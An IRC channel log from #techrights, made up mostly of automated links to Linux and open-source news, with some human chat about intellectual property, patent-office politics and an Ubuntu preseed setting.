-TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz is it interesting for you? What are your feelings?		Oct 08 03:50
schestowitz	I have heard about it for a couple of years, I support the idea	Oct 08 03:51
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TweetTuxMachines	@tuxmachines http://t.co/5UXTIpJEQ8 (2016.gnome.asia) Summit	Oct 08 04:28
TweetTuxMachines	2016 to be held in Delhi, India	Oct 08 04:28
-TechrightsBot-tr/#techrights-2016.gnome.asia \|		Oct 08 04:28
TweetTuxMachines	https://t.co/HpD8RTqdFv (www.gnome.org)	Oct 08 04:28
TweetTuxMachines	........................................ http://ur1.ca/nygmn	Oct 08 04:28
-TechrightsBot-tr/#techrights-www.gnome.org \| GNOME.Asia Summit 2016 to be held in Delhi, India – GNOME		Oct 08 04:28
TweetTuxMachines	@tuxmachines Paul Smith: Red Hat Hosts IT Event on Open	Oct 08 04:28
TweetTuxMachines	Source Tools in Government	Oct 08 04:28
TweetTuxMachines	http://t.co/xnhSaDFNaG (www.govconwire.com)	Oct 08 04:28
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-TechrightsBot-tr/#techrights-www.govconwire.com \| Paul Smith: Red Hat Hosts IT Event on Open Source Tools in Government		Oct 08 04:28
TweetTuxMachines	@tuxmachines Manjaro Cinnamon Edition 15.09-1 released	Oct 08 04:28
TweetTuxMachines	https://t.co/zzIUUACc5C (manjaro.github.io)	Oct 08 04:28
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-TechrightsBot-tr/#techrights-manjaro.github.io \| Manjaro Cinnamon Edition 15.09-1 released – Manjaro Linux – Enjoy the simplicity		Oct 08 04:28
TweetTuxMachines	@tuxmachines Proposed Principles for Content Blocking	Oct 08 04:59
TweetTuxMachines	http://t.co/iilOvHwSWc (www.tuxmachines.org)	Oct 08 04:59
TweetTuxMachines	........................................ http://ur1.ca/nygu1	Oct 08 04:59
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Proposed Principles for Content Blocking \| Tux Machines		Oct 08 04:59
TweetTuxMachines	@tuxmachines Raspbian Jessie Lives Up to the Hype	Oct 08 04:59
TweetTuxMachines	http://t.co/6g84CFOrhL (fossforce.com)	Oct 08 04:59
TweetTuxMachines	........................................ http://ur1.ca/nygu4	Oct 08 04:59
-TechrightsBot-tr/#techrights-fossforce.com \| Raspbian Jessie Lives Up to the Hype \| FOSS Force		Oct 08 04:59
TweetTuxMachines	@tuxmachines Linux Security: Lock Down a New System	Oct 08 04:59
TweetTuxMachines	Immediately http://t.co/odcnGqh3MD	Oct 08 04:59
TweetTuxMachines	(thelinuxworks.blogspot.co.uk)	Oct 08 04:59
-TechrightsBot-tr/#techrights-thelinuxworks.blogspot.co.uk \| The Linux Works: Linux Security: Lock Down a New System Immediately		Oct 08 04:59
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schestowitz	http://ubuntuforums.org/showthread.php?t=2297282	Oct 08 05:00
-TechrightsBot-tr/#techrights-ubuntuforums.org \| Rumor that Microsoft is buying Canonical and Ubuntu [ http://ur1.ca/nygud ]		Oct 08 05:00
schestowitz	https://twitter.com/ale_fattorini/status/652046792901677056	Oct 08 05:05
-TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz good to know! I want know more about your tests, please keep me in touch :-)		Oct 08 05:05
schestowitz	https://twitter.com/smmsadrnezh/status/652046697321865216	Oct 08 05:06
-TechrightsBot-tr/#techrights-@smmsadrnezh: مایکروسافت تمام تلاشش رو میکنه تا همرو مجبور کنه به ویندوز ۱۰ آپگرید کنن درحالیکه مردم بیشتر کروم‌بوک میخرن این روزا http://t.co/o3JuaGjCjI		Oct 08 05:06
-TechrightsBot-tr/#techrights--> techrights.org \| Microsoft-Connected Firm Net Applications Used to Mislead About Vista 10 Share and Mock GNU/Linux \| Techrights		Oct 08 05:06
gde33	Here is a nice idea to move away from the paradigm: In stead of having society pay for all this intelectual propertarding we should make the ip holder pay a montly fee for all this enforcement we are buying + 20% taxes.	Oct 08 05:11
gde33	Each item of music or video that needs to be filtered out has a quantifiable cost.	Oct 08 05:12
gde33	Each patent not implemented costs society a good bit of progress.	Oct 08 05:13
msb_	"Proposed Principles for Content Blocking" -- Nope. The very first thing I want to block is advertising. Which I do with AdBlockPlus.	Oct 08 05:14
gde33	I'm against all IP, the only one I'm doubting is trademarks	Oct 08 05:15
gde33	We are suppose to believe people will stop making music or medicine without it.	Oct 08 05:15
gde33	The opposite is true	Oct 08 05:16
gde33	We already have a billion songs that no one is suppose to freely access.	Oct 08 05:16
gde33	And a billion cures	Oct 08 05:16
gde33	in stead of sharing those things they are being destroyed	Oct 08 05:17
msb_	There are some things we still need a cure for -- AIDS, aging...	Oct 08 05:17
gde33	IP is just to cheap, people hold rights until the very things the rights apply to are gone.	Oct 08 05:18
gde33	why would you think there is no cure for aids or aging?	Oct 08 05:18
gde33	you seem to mis the core mechanic of ip secrecy	Oct 08 05:18
gde33	there is no excuse in those 2 examples to keep millions of drugs off the market	Oct 08 05:19
gde33	I'm not willing to pay for the enforcement of that scheme	Oct 08 05:19
gde33	It completely mimics the Spanish Inquisition	Oct 08 05:20
gde33	the similarities are striking	Oct 08 05:20
gde33	this idea that without ip there wouldnt be healthcare. bwhaha	Oct 08 05:21
gde33	if we dont hire a million lawyers with public funds we cant afford to do research anymore. bwhaha	Oct 08 05:21
gde33	a million lawyers costing 100 k each	Oct 08 05:22
msb_	You are misinterpreting what I said. You said, "[we have] a billion cures", and I just said we still need a few more. I was not commenting on IP.	Oct 08 05:23
gde33	what do you mean we need a few more?	Oct 08 05:23
schestowitz	https://twitter.com/PositivelyJoan/status/652050501790527488	Oct 08 05:23
-TechrightsBot-tr/#techrights-@PositivelyJoan: Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft http://t.co/owA81usQ8B Like #Koch, philanthropist my ASSett! #GMOs		Oct 08 05:23
-TechrightsBot-tr/#techrights--> linkis.com \| Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft \| Techrights - Linkis.com		Oct 08 05:23
gde33	if you think we need that you should spend your money on it :)	Oct 08 05:24
gde33	might be interesting	Oct 08 05:24
gde33	do a kickstarter for some disease	Oct 08 05:24
TweetTuxMachines	@tuxmachines Microsoft Ubuntu Rumors and Kernel Resignation	Oct 08 05:42
TweetTuxMachines	Opinions http://t.co/gjPIbpHirA (ostatic.com)	Oct 08 05:42
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-TechrightsBot-tr/#techrights-ostatic.com \| Microsoft Ubuntu Rumors and Kernel Resignation Opinions		Oct 08 05:42
TweetTuxMachines	@tuxmachines Ubuntu Is Planning To Make The ZFS File-System	Oct 08 05:42
TweetTuxMachines	A "Standard" Offering http://t.co/60BCUQbk8Z	Oct 08 05:42
TweetTuxMachines	(www.phoronix.com)	Oct 08 05:42
TweetTuxMachines	........................................ http://ur1.ca/nyh4g	Oct 08 05:42
-TechrightsBot-tr/#techrights-www.phoronix.com \| Ubuntu Is Planning To Make The ZFS File-System A "Standard" Offering - Phoronix		Oct 08 05:42
TweetTuxMachines	@tuxmachines Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES	Oct 08 05:42
TweetTuxMachines	& UEFI Fun http://t.co/cAf4CZhptR	Oct 08 05:42
TweetTuxMachines	(www.phoronix.com)	Oct 08 05:42
TweetTuxMachines	........................................ http://ur1.ca/nyh4h	Oct 08 05:42
-TechrightsBot-tr/#techrights-www.phoronix.com \| Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES & UEFI Fun - Phoronix		Oct 08 05:42
TweetTuxMachines	@tuxmachines Red Hat News http://t.co/4ZkTLJXVyr	Oct 08 05:42
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 05:42
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Red Hat News \| Tux Machines		Oct 08 05:42
TweetTuxMachines	@tuxmachines One Uncle's gift of Linux	Oct 08 05:42
TweetTuxMachines	http://t.co/iPLRa07U8s (www.tuxmachines.org)	Oct 08 05:42
TweetTuxMachines	........................................ http://ur1.ca/nyh4k	Oct 08 05:42
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| One Uncle's gift of Linux \| Tux Machines		Oct 08 05:42
TweetTuxMachines	@tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19	Oct 08 05:42
TweetTuxMachines	for All Ubuntu Phones http://t.co/ZvPPG7UYJM	Oct 08 05:42
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 05:42
TweetTuxMachines	........................................ http://ur1.ca/nyh4m	Oct 08 05:42
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones \| Tux Machines		Oct 08 05:42
TweetTuxMachines	@tuxmachines systemd 227 Is a Major Release That Adds a Lot	Oct 08 05:42
TweetTuxMachines	of Awesome New Features http://t.co/6dkh5Q8CX2	Oct 08 05:42
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 05:42
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| systemd 227 Is a Major Release That Adds a Lot of Awesome New Features \| Tux Machines		Oct 08 05:42
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TweetTuxMachines	@tuxmachines Track the night sky with Stellarium on Fedora	Oct 08 05:58
TweetTuxMachines	http://t.co/QmXjvoFigw (www.tuxmachines.org)	Oct 08 05:58
TweetTuxMachines	........................................ http://ur1.ca/nyh8a	Oct 08 05:58
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Track the night sky with Stellarium on Fedora \| Tux Machines		Oct 08 05:58
TweetTuxMachines	@tuxmachines Magicka 2 Looks Like It Will Land On Linux	Oct 08 05:58
TweetTuxMachines	Soon, Having Final Tweaks	Oct 08 05:58
TweetTuxMachines	https://t.co/0XvyyMDJap (www.gamingonlinux.com)	Oct 08 05:58
TweetTuxMachines	........................................ http://ur1.ca/nyh8e	Oct 08 05:58
-TechrightsBot-tr/#techrights-www.gamingonlinux.com \| Magicka 2 Looks Like It Will Land On Linux Soon, Having Final Tweaks \| GamingOnLinux		Oct 08 05:59
TweetTuxMachines	@tuxmachines “Linux To Be A First Class Citizen Here”	Oct 08 05:59
TweetTuxMachines	http://t.co/InXFeIvgev (www.gamingonlinux.com)	Oct 08 05:59
TweetTuxMachines	........................................ http://ur1.ca/nyh8j	Oct 08 05:59
-TechrightsBot-tr/#techrights-www.gamingonlinux.com \| Testers Needed For 'Quasar' An Online Bullet Hell Space Shooter, Linux To Be A First Class Citizen Here \| GamingOnLinux		Oct 08 05:59
TweetTuxMachines	@tuxmachines “in spite of Linux being a stretch goal that	Oct 08 06:01
TweetTuxMachines	wasn’t reached, the game got a day-one release	Oct 08 06:01
TweetTuxMachines	for Linux yesterday.” https://t.co/uBVGOFlIzz	Oct 08 06:01
TweetTuxMachines	(www.gamingonlinux.com)	Oct 08 06:01
TweetTuxMachines	........................................ http://ur1.ca/nyh98	Oct 08 06:01
-TechrightsBot-tr/#techrights-www.gamingonlinux.com \| Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo \| GamingOnLinux		Oct 08 06:01
*TweetTuxMachines @ROM2064 retweeted @tuxmachines: '“in spite of Linux being a stretch goal...'		Oct 08 06:01
*TweetTuxMachines @GXdev retweeted @tuxmachines: '“in spite of Linux being a stretch goal...'		Oct 08 06:01
*TweetTuxMachines @WeAreMidBoss retweeted @tuxmachines: '“in spite of Linux being a stretch goal...'		Oct 08 06:03
TweetTuxMachines	@tuxmachines Unprivileged eBPF Support In The Works For The	Oct 08 06:03
TweetTuxMachines	Linux Kernel http://t.co/2ZSJbTaXDt	Oct 08 06:03
TweetTuxMachines	(www.phoronix.com)	Oct 08 06:03
TweetTuxMachines	........................................ http://ur1.ca/nyh9w	Oct 08 06:03
-TechrightsBot-tr/#techrights-www.phoronix.com \| Unprivileged eBPF Support In The Works For The Linux Kernel - Phoronix		Oct 08 06:03
*TweetTuxMachines @doorfighter favourited '“in spite of Linux being a stretch goal...'		Oct 08 06:08
*TweetTuxMachines @dialecticube favourited '“in spite of Linux being a stretch goal...'		Oct 08 06:08
*TweetTuxMachines @RedVonix favourited '“in spite of Linux being a stretch goal...'		Oct 08 06:16
TweetTuxMachines	@tuxmachines Linksys unveils Linux-powered WRT1900ACS router	Oct 08 06:16
TweetTuxMachines	-- open source, faster CPU, more RAM	Oct 08 06:16
TweetTuxMachines	http://t.co/YCEMb95uhc (betanews.com)	Oct 08 06:16
TweetTuxMachines	........................................ http://ur1.ca/nyhe1	Oct 08 06:16
-TechrightsBot-tr/#techrights-betanews.com \| Linksys unveils Linux-powered WRT1900ACS router -- open source, faster CPU, more RAM		Oct 08 06:16
TweetTuxMachines	@tuxmachines Puppy Linux-Based Quirky 7.2 Distro for Android	Oct 08 06:20
TweetTuxMachines	Devs Gets Major X11 Update	Oct 08 06:20
TweetTuxMachines	http://t.co/WGyP1d4m7p (news.softpedia.com)	Oct 08 06:20
TweetTuxMachines	........................................ http://ur1.ca/nyhf7	Oct 08 06:20
-TechrightsBot-tr/#techrights-news.softpedia.com \| Puppy Linux-Based Quirky 7.2 Distro for Android Devs Gets Major X11 Update - Softpedia		Oct 08 06:20
TweetTuxMachines	@tuxmachines Linux Kernel 3.12.49 LTS Out Now with PowerPC	Oct 08 06:20
TweetTuxMachines	and ARM64 Improvements, More	Oct 08 06:20
TweetTuxMachines	http://t.co/Cc9596CfjJ (news.softpedia.com)	Oct 08 06:20
TweetTuxMachines	........................................ http://ur1.ca/nyhf8	Oct 08 06:20
-TechrightsBot-tr/#techrights-news.softpedia.com \| Linux Kernel 3.12.49 LTS Out Now with PowerPC and ARM64 Improvements, More - Softpedia		Oct 08 06:20
TweetTuxMachines	@tuxmachines HP and pals release open source switch OS	Oct 08 06:21
TweetTuxMachines	http://t.co/7IqkNsj4hf (www.theregister.co.uk)	Oct 08 06:21
TweetTuxMachines	"NOS is Linux-based."	Oct 08 06:21
-TechrightsBot-tr/#techrights-www.theregister.co.uk \| HP and pals release open source switch OS • The Register		Oct 08 06:21
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TweetTuxMachines	@tuxmachines Enlightenment 0.19.12 Desktop Environment Drops	Oct 08 06:26
TweetTuxMachines	Support for Wayland http://t.co/GijwOJed3c	Oct 08 06:26
TweetTuxMachines	(news.softpedia.com)	Oct 08 06:26
TweetTuxMachines	........................................ http://ur1.ca/nyhgr	Oct 08 06:26
-TechrightsBot-tr/#techrights-news.softpedia.com \| Enlightenment 0.19.12 Desktop Environment Drops Support for Wayland - Softpedia		Oct 08 06:26
TweetTuxMachines	@tuxmachines Calligra Words Port to KDE Frameworks 5 and Qt	Oct 08 06:26
TweetTuxMachines	5 Now Complete, Here's How It Looks	Oct 08 06:26
TweetTuxMachines	http://t.co/AU4ZDZDF8j (news.softpedia.com)	Oct 08 06:26
TweetTuxMachines	........................................ http://ur1.ca/nyhgs	Oct 08 06:26
-TechrightsBot-tr/#techrights-news.softpedia.com \| Calligra Words Port to KDE Frameworks 5 and Qt 5 Now Complete, Here's How It Looks - Softpedia		Oct 08 06:26
TweetTuxMachines	@tuxmachines One Uncle's gift of Linux	Oct 08 06:26
TweetTuxMachines	http://t.co/SOeRts13nv (opensource.com)	Oct 08 06:26
TweetTuxMachines	........................................ http://ur1.ca/nyhgt	Oct 08 06:26
-TechrightsBot-tr/#techrights-opensource.com \| Anderson Silva: My Linux Story \| Opensource.com		Oct 08 06:26
*TweetTuxMachines @techmuser favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv'		Oct 08 06:26
*TweetTuxMachines @samkamyar favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv'		Oct 08 06:27
*TweetTuxMachines @samkamyar followed @tuxmachines		Oct 08 06:27
TweetTuxMachines	@tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19	Oct 08 06:27
TweetTuxMachines	for All Ubuntu Phones http://t.co/SOeRts13nv	Oct 08 06:27
TweetTuxMachines	(opensource.com)	Oct 08 06:27
TweetTuxMachines	........................................ http://ur1.ca/nyhh7	Oct 08 06:27
TweetTuxMachines	@tuxmachines systemd 227 Is a Major Release That Adds a Lot	Oct 08 06:34
TweetTuxMachines	of Awesome New Features http://t.co/oqnz34sgUR	Oct 08 06:34
TweetTuxMachines	(news.softpedia.com)	Oct 08 06:34
TweetTuxMachines	........................................ http://ur1.ca/nyhj7	Oct 08 06:34
TweetTuxMachines	@tuxmachines Track the night sky with Stellarium on Fedora	Oct 08 06:34
TweetTuxMachines	http://t.co/qzRaIFzmzZ (fedoramagazine.org)	Oct 08 06:34
TweetTuxMachines	........................................ http://ur1.ca/nyhja	Oct 08 06:34
-TechrightsBot-tr/#techrights-news.softpedia.com \| systemd 227 Is a Major Release That Adds a Lot of Awesome New Features - Softpedia		Oct 08 06:34
-TechrightsBot-tr/#techrights-fedoramagazine.org \| Track the night sky with Stellarium on Fedora - Fedora Magazine		Oct 08 06:34
TweetTuxMachines	@tuxmachines September update for Plasma’s Wayland porting	Oct 08 06:34
TweetTuxMachines	http://t.co/n7D2Ukakmf	Oct 08 06:34
TweetTuxMachines	(blog.martin-graesslin.com)	Oct 08 06:34
TweetTuxMachines	........................................ http://ur1.ca/nyhjb	Oct 08 06:34
-TechrightsBot-tr/#techrights-blog.martin-graesslin.com \| September update for Plasma’s Wayland porting \| Martin's Blog		Oct 08 06:34
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TweetTuxMachines	@tuxmachines Team Fortress 2 Gets Big Community Update on	Oct 08 06:51
TweetTuxMachines	Steam for Linux http://t.co/r7LBxXoaGv	Oct 08 06:51
TweetTuxMachines	(news.softpedia.com)	Oct 08 06:51
-TechrightsBot-tr/#techrights-news.softpedia.com \| Team Fortress 2 Gets Big Community Update on Steam for Linux - Softpedia		Oct 08 06:51
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TweetTuxMachines	@tuxmachines Manjaro Linux Devs Are in Search for a New Logo	Oct 08 06:51
TweetTuxMachines	for the Project http://t.co/ayToLs1gcB	Oct 08 06:51
TweetTuxMachines	(news.softpedia.com)	Oct 08 06:51
-TechrightsBot-tr/#techrights-news.softpedia.com \| Manjaro Linux Devs Are in Search for a New Logo for the Project - Softpedia		Oct 08 06:51
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*TweetTuxMachines @tuxmachines deleted 'Ubuntu Touch OTA-7 Will Arrive on October 19...'		Oct 08 06:51
TweetTuxMachines	@tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19	Oct 08 06:51
TweetTuxMachines	for All Ubuntu Phones http://t.co/LpyYKfbcs5	Oct 08 06:51
TweetTuxMachines	(linux.softpedia.com)	Oct 08 06:51
-TechrightsBot-tr/#techrights-linux.softpedia.com \| Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones - Softpedia		Oct 08 06:51
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TweetTuxMachines	@tuxmachines "The Open Network Linux OS... days after HP and	Oct 08 07:00
TweetTuxMachines	partners announced their own open-source	Oct 08 07:00
TweetTuxMachines	network OS, OpenSwitch." http://t.co/vmfTHnK3L7	Oct 08 07:00
TweetTuxMachines	(www.eweek.com)	Oct 08 07:00
-TechrightsBot-tr/#techrights-www.eweek.com \| Big Switch, Facebook to Demonstrate Open Switch Software		Oct 08 07:00
TweetTuxMachines	........................................ http://ur1.ca/nyhr1	Oct 08 07:00
TweetTuxMachines	@tuxmachines Prison Architect 1.0 Is Finally Here, Lets You	Oct 08 07:00
TweetTuxMachines	Build and Manage the Most Secure Prison	Oct 08 07:00
TweetTuxMachines	http://t.co/9jBuazEa9z (news.softpedia.com)	Oct 08 07:00
TweetTuxMachines	........................................ http://ur1.ca/nyhr2	Oct 08 07:00
-TechrightsBot-tr/#techrights-news.softpedia.com \| Prison Architect 1.0 Is Finally Here, Lets You Build and Manage the Most Secure Prison - Softpedia		Oct 08 07:00
TweetTuxMachines	@tuxmachines GNOME 3.20 to Be Dubbed Delhi	Oct 08 07:00
TweetTuxMachines	http://t.co/qDY8jW8TpI (linux.softpedia.com)	Oct 08 07:00
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-TechrightsBot-tr/#techrights-linux.softpedia.com \| GNOME 3.20 to Be Dubbed Delhi - Softpedia		Oct 08 07:00
TweetTuxMachines	@tuxmachines Unprivileged eBPF Support In The Works For The	Oct 08 07:01
TweetTuxMachines	Linux Kernel http://t.co/gLEQsae3XM	Oct 08 07:01
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 07:01
TweetTuxMachines	........................................ http://ur1.ca/nyhre	Oct 08 07:01
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Unprivileged eBPF Support In The Works For The Linux Kernel \| Tux Machines		Oct 08 07:01
TweetTuxMachines	@tuxmachines September update for Plasma’s Wayland porting	Oct 08 07:01
TweetTuxMachines	http://t.co/0b7KGwempw (www.tuxmachines.org)	Oct 08 07:01
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| September update for Plasma’s Wayland porting \| Tux Machines		Oct 08 07:01
TweetTuxMachines	@tuxmachines GNOME 3.20 to Be Dubbed Delhi	Oct 08 07:01
TweetTuxMachines	http://t.co/B93YUsFUwG (www.tuxmachines.org)	Oct 08 07:01
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| GNOME 3.20 to Be Dubbed Delhi \| Tux Machines		Oct 08 07:01
schestowitz	https://twitter.com/Zeipt/status/652069832842702849	Oct 08 07:15
-TechrightsBot-tr/#techrights-@Zeipt: @schestowitz no, thanx)) better - preseed/late_command="in-target apt-get install -y sysvinit-core"		Oct 08 07:15
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TweetTuxMachines	@tuxmachines Open Source for Log Analytics – Let’s get	Oct 08 07:44
TweetTuxMachines	serious https://t.co/cyvNcgQ1iC	Oct 08 07:44
TweetTuxMachines	(www.linkedin.com)	Oct 08 07:44
TweetTuxMachines	........................................ http://ur1.ca/nyi5t	Oct 08 07:44
-TechrightsBot-tr/#techrights-www.linkedin.com \| Open Source for Log Analytics – Let’s get serious \| Erez Ofer \| LinkedIn		Oct 08 07:44
TweetTuxMachines	@tuxmachines Open source curriculum for EMEA universities	Oct 08 07:44
TweetTuxMachines	http://t.co/DSHl1iMVdY (www.cbronline.com)	Oct 08 07:44
TweetTuxMachines	“student materials for Red Hat Academy are	Oct 08 07:44
TweetTuxMachines	available online.”	Oct 08 07:44
TweetTuxMachines	........................................ http://ur1.ca/nyi5u	Oct 08 07:44
-TechrightsBot-tr/#techrights-www.cbronline.com \| Open source curriculum for EMEA universities - Computer Business Review		Oct 08 07:44
TweetTuxMachines	@tuxmachines Linus Torvalds Says 2016 Will Be the Year of	Oct 08 07:44
TweetTuxMachines	the ARM Laptop http://t.co/cedhBSC3FX	Oct 08 07:44
TweetTuxMachines	(news.softpedia.com)	Oct 08 07:44
-TechrightsBot-tr/#techrights-news.softpedia.com \| Linus Torvalds Says 2016 Will Be the Year of the ARM Laptop - Softpedia		Oct 08 07:44
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*TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Linus Torvalds Says 2016 Will Be the Year...'		Oct 08 07:46
TweetTuxMachines	@tuxmachines Massive Steam Client Update Brings Chromium 45,	Oct 08 07:46
TweetTuxMachines	Big Picture Improvements, FLAC Support	Oct 08 07:46
TweetTuxMachines	http://t.co/cjleXiyKp9 (news.softpedia.com)	Oct 08 07:46
TweetTuxMachines	http://t.co/zFbiLOjAMP (linux.softpedia.com)	Oct 08 07:46
-TechrightsBot-tr/#techrights-news.softpedia.com \| Massive Steam Client Update Brings Chromium 45, Big Picture Improvements, FLAC Support - Softpedia		Oct 08 07:46
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-TechrightsBot-tr/#techrights-linux.softpedia.com \| Steam for Linux Beta Client Gets More Fixes in New Update - Softpedia		Oct 08 07:46
schestowitz	https://joindiaspora.com/p/6679183 https://joindiaspora.com/p/6679291	Oct 08 08:45
-TechrightsBot-tr/#techrights-joindiaspora.com \| Hopefully today's news about #linux will be dominated by news about...		Oct 08 08:45
-TechrightsBot-tr/#techrights-joindiaspora.com \| Artificial intelligence is the next major wave of computing, Androi...		Oct 08 08:45
schestowitz	https://joindiaspora.com/p/6680222	Oct 08 08:45
-TechrightsBot-tr/#techrights-joindiaspora.com \| "attractive are the printer’s precision, light weight and simple de...		Oct 08 08:46
schestowitz	https://joindiaspora.com/posts/6679183 https://joindiaspora.com/posts/6679291	Oct 08 08:46
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Hopefully today's news about #linux will be dominated by news about Linux and not drama queens like Matthew Farrett https://twitter.com/mjg59/status/517719901356584960		Oct 08 08:46
-TechrightsBot-tr/#techrights-@mjg59: @Max_x_Milia @IntelGaming @intel FART FART FART FART FART		Oct 08 08:46
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Artificial intelligence is the next major wave of computing, Android creator says http://www.cnet.com/news/artificial-intelligence-is-the-next-major-wave-of-computing-android-creator-says/ sometimes just "intelligence" (spying)		Oct 08 08:46
-TechrightsBot-tr/#techrights--> www.cnet.com \| Artificial intelligence is the next major wave of computing, Android creator says - CNET [ http://ur1.ca/nyivh ]		Oct 08 08:46
schestowitz	https://joindiaspora.com/posts/6680222	Oct 08 08:46
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: "attractive are the printer’s precision, light weight and simple design, making it ideal for first-time 3D printer buyers" http://3dprint.com/99389/eleven-3d-printer-kickstarter/		Oct 08 08:46
-TechrightsBot-tr/#techrights--> 3dprint.com \| The Eleven 3D Printer by ISG3D is Now Available on Kickstarter - 3DPrint.com [ http://ur1.ca/nyivi ]		Oct 08 08:46
schestowitz	https://twitter.com/Twpalovi/status/652104833684668416	Oct 08 08:56
-TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Is any of this true? I thought @EPOorg looked like a good place to work.		Oct 08 08:56
schestowitz	Payment is OK, but it's part of a package deal	Oct 08 08:56
schestowitz	If you're willing to be treated like dirt and generally work in a way that harms European SMEs, citizens, and science.	Oct 08 08:58
schestowitz	https://twitter.com/Twpalovi/status/652106930568175616	Oct 08 09:08
-TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz @EPOorg Cool, where do I sign up?		Oct 08 09:08
schestowitz	https://twitter.com/Twpalovi/status/652107707416186880	Oct 08 09:08
-TechrightsBot-tr/#techrights-@Twpalovi: Now, @schestowitz I don't believe @EPOorg is like that. @LNevilleRolf would not allow it.		Oct 08 09:08
schestowitz	She is the biggest part of the problem in the UK. See what she did for UPC and still does...	Oct 08 09:09
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schestowitz	https://twitter.com/Twpalovi/status/652110763100868609	Oct 08 09:26
-TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz what did@LNevilleRolf do?		Oct 08 09:26
schestowitz	See Techrights for details, search the name	Oct 08 09:26
TweetTuxMachines	@RamiSilawi @tuxmachines your tweet takes center stage on	Oct 08 09:42
TweetTuxMachines	http://t.co/Gb6V1dQPAF (www.rebelmouse.com)	Oct 08 09:42
TweetTuxMachines	........................................ http://ur1.ca/nyjio	Oct 08 09:42
-TechrightsBot-tr/#techrights-www.rebelmouse.com \| RamiSilawi		Oct 08 09:42
TweetTuxMachines	@tuxmachines Hands-On: KaOS Linux 2015.10	Oct 08 09:42
TweetTuxMachines	http://t.co/qH76z7VoLx (www.tuxmachines.org)	Oct 08 09:42
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Hands-On: KaOS Linux 2015.10 \| Tux Machines		Oct 08 09:42
TweetTuxMachines	@tuxmachines A First Look at IBM's New Linux Servers	Oct 08 09:42
TweetTuxMachines	http://t.co/hwIfgS1dYq (www.tuxmachines.org)	Oct 08 09:42
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| A First Look at IBM's New Linux Servers \| Tux Machines		Oct 08 09:42
TweetTuxMachines	@tuxmachines IBM aims Linux OpenPOWER systems at Intel	Oct 08 09:43
TweetTuxMachines	http://t.co/3ulWKUGdtC (www.tuxmachines.org)	Oct 08 09:43
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| IBM aims Linux OpenPOWER systems at Intel \| Tux Machines		Oct 08 09:43
TweetTuxMachines	@tuxmachines NetBSD 7.0 Released With New ARM Board Support,	Oct 08 09:43
TweetTuxMachines	Lua Kernel Scripting http://t.co/Q0hWBl2Wwh	Oct 08 09:43
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 09:43
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| NetBSD 7.0 Released With New ARM Board Support, Lua Kernel Scripting \| Tux Machines		Oct 08 09:43
TweetTuxMachines	@tuxmachines Protecode: Open Source Code Will Power 95 Pct.	Oct 08 09:44
TweetTuxMachines	of Companies by 2017 http://t.co/qELOX5g0gt	Oct 08 09:44
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 09:44
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Protecode: Open Source Code Will Power 95 Pct. of Companies by 2017 \| Tux Machines		Oct 08 09:44
TweetTuxMachines	@tuxmachines Unity 8: All You Need to Know	Oct 08 09:47
TweetTuxMachines	http://t.co/40RP2gJyrv (news.softpedia.com)	Oct 08 09:47
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-TechrightsBot-tr/#techrights-news.softpedia.com \| Unity 8: All You Need to Know - Softpedia		Oct 08 09:47
TweetTuxMachines	@tuxmachines Hands-On: KaOS Linux 2015.10	Oct 08 09:47
TweetTuxMachines	http://t.co/aeNxK2Np1n (www.zdnet.com) 'calls	Oct 08 09:47
TweetTuxMachines	itself a "lean KDE Distribution"'	Oct 08 09:47
-TechrightsBot-tr/#techrights-www.zdnet.com \| Hands-On: KaOS Linux 2015.10 \| ZDNet		Oct 08 09:47
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TweetTuxMachines	@tuxmachines A First Look at IBM's New Linux Servers	Oct 08 09:47
TweetTuxMachines	http://t.co/mm0jUUcuT8 (www.linuxjournal.com)	Oct 08 09:47
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-TechrightsBot-tr/#techrights-www.linuxjournal.com \| A First Look at IBM's New Linux Servers \| Linux Journal		Oct 08 09:47
TweetTuxMachines	@tuxmachines IBM aims Linux OpenPOWER systems at Intel	Oct 08 09:57
TweetTuxMachines	http://t.co/47qayAKFll (www.zdnet.com)	Oct 08 09:57
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-TechrightsBot-tr/#techrights-www.zdnet.com \| IBM aims Linux OpenPOWER systems at Intel \| ZDNet		Oct 08 09:57
TweetTuxMachines	@tuxmachines Manjaro 15.09 Now Has KDE Plasma 5.4.2	Oct 08 09:57
TweetTuxMachines	http://t.co/EXEVvCFUlv (news.softpedia.com)	Oct 08 09:57
